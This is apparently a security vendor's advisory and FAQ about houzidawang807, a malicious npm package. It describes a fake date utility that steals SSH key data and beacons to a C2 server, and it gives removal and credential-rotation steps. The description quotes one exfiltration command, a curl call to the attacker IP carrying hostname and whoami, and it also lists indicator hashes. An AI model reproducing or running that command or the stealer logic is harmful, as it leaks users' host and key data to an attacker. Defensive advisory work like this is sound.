Which versions of houzidawang807 are malicious?

The following npm versions of houzidawang807 are flagged malicious: 1.1.6. Treat any of these as compromised.

How do I remediate houzidawang807 if I installed it?

houzidawang807 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed houzidawang807 — how do I know if it already compromised me?

If houzidawang807 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is houzidawang807 part of a known attack campaign?

Yes — houzidawang807 is associated with the IN-MAL-2026-006305, IN-MAL-2026-006306 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find houzidawang807 across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for houzidawang807 (version 1.1.6). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging houzidawang807 across your stack and pipelines.

Malicious package

houzidawang807npm

houzidawang807 is a confirmed malicious npm package (MAL-2026-5731) that steals credentials and exfiltrates sensitive data (malicious version 1.1.6). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in houzidawang807 (npm)

MAL-2026-5731

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall houzidawang807

What this malware does

Package advertises itself as 'a simple date formatting utility' but ships an SSH-key-stealing C2 client. postinstall.js enumerates ~/.ssh for *.pub files, collects the installer's username and platform, and POSTs a JSON payload over HTTPS to the hardcoded bare IP 124.221.154.135. Source comments explicitly label this destination as the attacker's C2 server. package.json additionally declares a build script that curls http://124.221.154.135/pre?h=$(hostname)&u=$(whoami), leaking host identifiers in plaintext to the same C2. The legitimate-looking surface is a 3-line formatDate wrapper in index.js; the rest of the package is attack tooling. Although the malicious file is named postinstall.js, it is not currently wired into a lifecycle hook (scripts only declares build), so default npm install does not auto-execute it — however, the file is loaded by any consumer that requires the package or invokes the build script, and the file's name strongly suggests the author intends to enable it as a lifecycle hook in a follow-up version.

Malicious versions

1 flagged

1.1.6

Indicators of compromise (SHA-256)

7568d90e7a8d940b5618fa36bccfc2b7fa02ceaa814f0a416d2cc989c685e489

d87a9bdb30c6c4de17c6d4f01a94a84c0e597eee96f324082f880b9915c44498

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for houzidawang807 (version 1.1.6). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging houzidawang807 across your stack and pipelines.
If you installed it — respond
houzidawang807 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If houzidawang807 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks houzidawang807 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. houzidawang807 on npm has been identified as a malicious package (version 1.1.6 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006305IN-MAL-2026-006306

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks houzidawang807-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database